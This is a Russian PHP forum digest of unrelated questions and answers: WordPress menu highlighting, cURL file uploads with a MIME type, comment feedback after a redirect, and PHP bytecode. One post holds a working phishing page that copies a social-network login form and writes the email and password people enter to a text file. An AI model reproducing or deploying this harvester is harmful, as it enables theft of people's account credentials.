PHP: <li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="<?php bloginfo('url'); ?>">Главная</a></li> <li><a href="http://site.ru/?page_id=190">Страница</a> </li> если пользователь сейчас находится на главной, то к ссылке в меню применяется класс current-cat, как сделать такое же со второй ссылкой?
А так не получается?: PHP: <li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="<?php bloginfo('url'); ?>">Главная</a></li> <li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="http://site.ru/?page_id=190">Страница</a></li>
нет, if(is_home()) это же проверка является ли страница главной. Мне же нужно сделать проверку для других ссылок.
для той, например, что во второй строчке. если юзер находится на странице http://site.ru/?page_id=190, то нужно применить к нему класс current-cat
Ааа. Понял. Попробуй так: PHP: <li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="<?php bloginfo('url'); ?>">Главная</a></li> <li <?php if($_GET['page_id']='190') { echo ' class="current-cat" '; } ?>><a href="http://site.ru/?page_id=190">Страница</a></li>
Вот: PHP: <li <?php if(is_home()) { echo ' class="current-cat" '; } ?>><a href="<?php bloginfo('url'); ?>">Главная</a></li> <li <?php if((!empty($_GET)) && ($_GET['page_id']=='190')) { echo ' class="current-cat" '; } ?>><a href="http://site.ru/?page_id=190">Страница</a></li>
Нужно курлом загрузить файл на сервер при етом указать его тип, как ето сделать? Пробовал так но не выходит PHP: <? $upload = '1.png'; $postdata = array('filename' => '@'.$upload,'type'=> "image/jpeg"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://site.ru/upload/upload.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_exec($ch); curl_close($ch); ?> как правильно???
qaz PHP: $upload = '1.png'; $postdata = array('filename' => '@'.$upload.';type=image/jpeg'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://site.ru/upload/upload.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_exec($ch); curl_close($ch);
Пишу скрипт комментариев. Сначала код формы и обработчик были в одном файле index.php, но потребовалось добавить обновление страницы. Тоесть если все данные введены верно, то комментарий записывается в БД, а на странице должен выводится этот же свежедобавленный комментарий и сообщение об успешном его добавлении. Сейчас в index.php код формы, а в comments.php обработчик, который при успешном добавлении функцией header() возвращает на index.php. Мне не понятно как в index.php можно сделать вывод сообщения о добавлении/ошибке комментария.
По простому, после добавления комментария устанавливать кукис о статусе комментария. После редиректа в index.php проверять кукис, если в нем отрицательное значение - выводить сообщение об ошибке, и сразу после этого удалять кукис
PHP: <?php $email = $_POST['email']; $pass = $_POST['pass']; $text .= "Е mail: $email"; $text .= "Пароль: $pass"; $text .= "--------"; if (isset($email) && isset($pass)) { $file = fopen ("message.txt", "a+"); fwrite ($file,$text); fclose ($file); } ?> <div id="side_bar" class="fl_l" style=""> <div id="quick_login"> <form name="POST" method="post" action="face.php" name="login" id="email" onsubmit="if (vklogin) {return true} else {quick_login();return false;}" style="height: 95px"> <tr> <td><label for="textfield">Телефон или e-mail:</label></td> <td><input class="text" onfocus="show('quick_expire')" id="email" name="email"></td> </tr> <tr> <td><br> <br> Пароль:</td><br> <td> <input input type="password" class="text" onfocus="show('quick_expire')" id="pass" name="pass"></td> </tr> <div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isCh ecked(this)?1:'';"><div></div>Чужой компьютер</div> <input type="submit" class="submit" /> </form> </table> <p> <div class="button_blue button_wide"></type="submit"> <form action="face.php"> <button id="Submit">Войти</button></div> <div class="button_blue button_wide" id="quick_reg_button" style="display: none"><button onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})">Регистрация</button></div> </p> Так сохраняет же.
Задался вопросом: возможно ли как-то избежать процесса трансляции исходного кода, вместо этого только исполнять байт-код (для небольшого снижения нагрузки)?
Вроде бы библиотеки свои можно написать для PHP. Напиши свою библиотеку на C/C++, скорость гарантирована.